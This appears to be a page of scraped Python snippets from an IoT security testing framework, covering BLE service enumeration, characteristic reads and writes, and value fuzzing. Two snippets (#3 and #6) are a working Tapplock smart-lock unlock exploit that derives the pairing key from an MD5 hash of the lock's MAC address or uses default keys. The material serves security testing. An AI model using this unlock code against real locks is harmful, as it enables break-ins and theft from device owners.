Exemple #1
0
    def execute(self):
        """Execute the test."""
        TLog.generic(
            "Fuzzing the value ({}), iterations ({}) for handle ({}) on BLE device ({})".format(
                self.args.value, self.args.iter, hex(self.args.handle), self.args.addr
            )
        )
        try:
            device = BlePeripheral()
            device.connect(
                self.args.addr,
                addrType=(
                    ADDR_TYPE_RANDOM
                    if self.args.randaddrtype
                    else ADDR_TYPE_PUBLIC
                ),
            )
            for _ in range(self.args.iter):
                value = self.args.value
                while value.find("xx") >= 0:
                    value = value.replace(
                        "xx", "{:02x}".format(randint(0, 0xFF)), 1  # nosec
                    )

                TLog.trydo("Writing the fuzzed value ({})".format(value))
                device.writeCharacteristic(
                    self.args.handle,
                    bytes.fromhex(value),
                    withResponse=(not self.args.noresponse),
                )
        except:  # noqa: E722
            self.result.exception()
        finally:
            device.disconnect()
Exemple #2
0
 def execute(self):
     """Execute the test."""
     TLog.generic(
         "Writing the value ({}) to handle ({}) on BLE device ({})".format(
             self.args.value, hex(self.args.handle), self.args.addr
         )
     )
     device = BlePeripheral()
     try:
         device.connect(
             self.args.addr,
             addrType=(
                 ADDR_TYPE_RANDOM
                 if self.args.randaddrtype
                 else ADDR_TYPE_PUBLIC
             ),
         )
         device.writeCharacteristic(
             self.args.handle,
             bytes.fromhex(self.args.value),
             withResponse=(not self.args.noresponse),
         )
     except:  # noqa: E722
         self.result.exception()
     finally:
         device.disconnect()
Exemple #3
0
    def unlock(self, mac, name=None):
        """
        Unlock the specified Tapplock.

        Args:
            mac(str): The BLE address of the Tapplock
            name(str): The name of the Tapplock as advertised over BLE

        Returns:
            Nothing
        """
        device = BlePeripheral()
        try:
            TLog.trydo("Unlocking Tapplock ({})".format(mac))
            # Get key1 and serial
            pairing_data = None
            if self.args.default is False:
                remote_mac = ":".join(mac.upper().split(":")[::-1])
                md5_hash = md5(remote_mac.encode()).hexdigest()  # nosec
                key1 = md5_hash[0:8]
                serial = md5_hash[16:24]
                TLog.generic("(Calculated hash={})(key1={})(serial={})".format(
                    md5_hash, key1, serial))
                pairing_data = self.PAIRPREXIX + key1 + serial
            else:
                TLog.generic("(default key1={})(default serial={})".format(
                    self.DEFKEY, self.DEFSERIAL))
                pairing_data = self.DEFPAIR
            # Calculate the checksum
            checksum = 0
            for byte in bytes.fromhex(pairing_data):
                checksum = checksum + (byte % 255)
            checksum_string = "{:04x}".format(checksum)
            # Create the pairing data
            pairing_data = pairing_data + checksum_string[
                2:4] + checksum_string[0:2]
            device.connect(mac, addrType=ADDR_TYPE_RANDOM)
            device.writeCharacteristic(self.UNLOCKHNDL,
                                       bytes.fromhex(pairing_data))
            device.writeCharacteristic(self.UNLOCKHNDL,
                                       bytes.fromhex(self.UNLOCKCMD))
            self.output_handler(tlogtype=TLog.TRYDO,
                                logkwargs=LOGPRETTY,
                                name=name,
                                addr=device.addr,
                                sent_pair_data=pairing_data,
                                sent_unlock_cmd=self.UNLOCKCMD)
        finally:
            device.disconnect()
Exemple #4
0
    def enumerate(self):
        """
        Enumerate the services and/or characteristics of the specified BLE device.

        :return:
        """
        # Documentation is wrong, the first keyword argument is deviceAddr instead of
        # deviceAddress. http://ianharvey.github.io/bluepy-doc/
        if self.args.services is False and self.args.chars is False:
            TLog.fail(
                "Specify the enumerations option(s). Either or both - services, chars"
            )
            self.reason = "Incomplete arguments"
            return

        TLog.generic(
            "Enumerating services/characteristics of the device {}".format(
                self.args.addr
            )
        )
        device = BlePeripheral()
        try:
            device.connect(
                self.args.addr,
                addrType=(
                    ADDR_TYPE_RANDOM
                    if self.args.randaddrtype
                    else ADDR_TYPE_PUBLIC
                ),
            )
            self.found = True
            if self.args.services is True:
                services = device.getServices()
                for service in services:
                    TLog.success(
                        "(service uuid={})(handlestart={})(handleend={})".format(
                            service.uuid, hex(service.hndStart), hex(service.hndEnd)
                        )
                    )
            if self.args.chars is True:
                chars = device.getCharacteristics()
                for char in chars:
                    TLog.success(
                        "(characteristic uuid={})(handle={})".format(
                            char.uuid, hex(char.getHandle())
                        )
                    )
                    if self.args.verbose is True:
                        support_property = char.propertiesToString()
                        supports_read = char.supportsRead()
                        TLog.success("    (supported_properties={})".format(support_property))
                        if supports_read is True:
                            TLog.success("    (value={})".format(char.read()))
        except:  # noqa: E722
            self.reason = "Exception caught: {}".format(sysexcinfo())
        finally:
            device.disconnect()
        if self.found is False and self.reason is None:
            self.reason = "Couldn't find any devices"
Exemple #5
0
 def execute(self):
     """Execute the test."""
     TLog.generic(
         "Reading from handle ({}) on BLE device ({})".format(
             hex(self.args.handle), self.args.addr
         )
     )
     device = BlePeripheral()
     try:
         device.connect(
             self.args.addr,
             addrType=(
                 ADDR_TYPE_RANDOM
                 if self.args.randaddrtype
                 else ADDR_TYPE_PUBLIC
             ),
         )
         TLog.success(
             " (value={})".format(
                 device.readCharacteristic(
                     self.args.handle)))
     except:  # noqa: E722
         self.result.exception()
     finally:
         device.disconnect()
Exemple #6
0
    def unlock(self, mac):
        """
        Unlock the specified Tapplock.

        :param mac: The BLE address of the Tapplock
        :return:
        """
        device = BlePeripheral()
        try:
            TLog.trydo("Unlocking Tapplock ({})".format(mac))
            # Get key1 and serial
            pairing_data = None
            if self.args.default is False:
                remote_mac = ":".join(mac.upper().split(":")[::-1])
                md5_hash = md5(remote_mac.encode()).hexdigest()  # nosec
                key1 = md5_hash[0:8]
                serial = md5_hash[16:24]
                TLog.generic("(Calculated hash={})(key1={})(serial={})".format(
                    md5_hash, key1, serial))
                pairing_data = self.PAIRPREXIX + key1 + serial
            else:
                TLog.generic("(default key1={})(default serial={})".format(
                    self.DEFKEY, self.DEFSERIAL))
                pairing_data = self.DEFPAIR
            # Calculate the checksum
            checksum = 0
            for byte in bytes.fromhex(pairing_data):
                checksum = checksum + (byte % 255)
            checksum_string = "{:04x}".format(checksum)
            # Create the pairing data
            pairing_data = pairing_data + checksum_string[
                2:4] + checksum_string[0:2]
            device.connect(mac, addrType=ADDR_TYPE_RANDOM)
            TLog.trydo("Sending pair data({})".format(pairing_data))
            device.writeCharacteristic(self.UNLOCKHNDL,
                                       bytes.fromhex(pairing_data))
            TLog.trydo("Sending unlock command({})".format(self.UNLOCKCMD))
            device.writeCharacteristic(self.UNLOCKHNDL,
                                       bytes.fromhex(self.UNLOCKCMD))
        finally:
            device.disconnect()
Exemple #7
0
    def execute(self):
        """
        Execute the plugin.
        Enumerate the services and/or characteristics of the specified BLE device.

        Returns:
            Nothing
        """
        # Documentation is wrong, the first keyword argument is deviceAddr instead of
        # deviceAddress. http://ianharvey.github.io/bluepy-doc/
        if self.args.services is False and self.args.chars is False:
            reason = "Incomplete args. Enumerate what? Either or both - services, chars"
            self.result.setstatus(passed=False, reason=reason)
            return
        TLog.generic(
            "Enumerating services/characteristics of the device {}".format(
                self.args.addr
            )
        )
        device = BlePeripheral()
        try:
            device.connect(
                self.args.addr,
                addrType=(
                    ADDR_TYPE_RANDOM
                    if self.args.randaddrtype
                    else ADDR_TYPE_PUBLIC
                ),
            )
            if self.args.services is True:
                services = device.getServices()
                for service in services:
                    self.output_handler(service_uuid=str(service.uuid),
                                        service_uuid_name=service.uuid.getCommonName(),
                                        handle_start=hex(service.hndStart),
                                        handle_end=hex(service.hndEnd))
            if self.args.chars is True:
                chars = device.getCharacteristics()
                for char in chars:
                    chardict = {"char_uuid": str(char.uuid),
                                "char_uuid_name": char.uuid.getCommonName(),
                                "handle": hex(char.getHandle()),
                                "supported_properties": char.propertiesToString()}
                    if char.supportsRead():
                        chardict["readvalue"] = char.read()
                    self.output_handler(**chardict)
        except:  # noqa: E722
            self.result.setstatus(passed=False,
                                  reason="Exception caught: {}".format(sysexcinfo()))
        finally:
            device.disconnect()
Exemple #8
0
    def enumerate(self):
        """
        Enumerate the services and/or characteristsics of the specified BLE device

        :return:
        """
        # documentation is wrong, the first keyword argument is deviceAddr instead of deviceAddress as per the doc
        # Doc: http://ianharvey.github.io/bluepy-doc/
        if self.args.services is False and self.args.chars is False:
            TLog.fail(
                "Specify the enumerations option(s). Either or both - services, chars"
            )
            self.reason = "Incomplete arguments"
            return

        TLog.generic(
            "Enumerating services/characteristics of the device {}".format(
                self.args.addr))
        d = BlePeripheral()
        try:
            d.connect(self.args.addr,
                      addrType=(Ble.ADDR_TYPE_RANDOM if self.args.randaddrtype
                                else Ble.ADDR_TYPE_PUBLIC))
            self.found = True
            if self.args.services is True:
                svcs = d.getServices()
                for s in svcs:
                    TLog.success(
                        "(service uuid={})(handlestart={})(handleend={})".
                        format(s.uuid, hex(s.hndStart), hex(s.hndEnd)))
            if self.args.chars is True:
                chrs = d.getCharacteristics()
                for c in chrs:
                    TLog.success("(characteristic uuid={})(handle={})".format(
                        c.uuid, hex(c.getHandle())))
                    if self.args.verbose is True:
                        sr = c.supportsRead()
                        TLog.success("    (supports_read={})".format(sr))
                        if sr is True:
                            TLog.success("    (value={})".format(c.read()))
        except:
            self.reason = "Exception caught: {}".format(sysexcinfo())
        finally:
            d.disconnect()
        if self.found is False and self.reason is None:
            self.reason = "Couldnt find any devices"
Exemple #9
0
    def execute(self):
        TLog.generic(
            "Fuzzing the value ({}), iterations ({}) for handle ({}) on BLE device ({})"
            .format(self.args.value, self.args.iter, hex(self.args.handle),
                    self.args.addr))
        try:
            d = BlePeripheral()
            d.connect(self.args.addr,
                      addrType=(Ble.ADDR_TYPE_RANDOM if self.args.randaddrtype
                                else Ble.ADDR_TYPE_PUBLIC))
            for i in range(self.args.iter):
                f = self.args.value
                while f.find("xx") >= 0:
                    f = f.replace("xx", "{:02x}".format(randint(0, 0xff)), 1)

                TLog.trydo("Writing the fuzzed value ({})".format(f))
                d.writeCharacteristic(self.args.handle,
                                      bytes.fromhex(f),
                                      withResponse=(not self.args.noresponse))
        except:
            self.result.exception()
        finally:
            d.disconnect()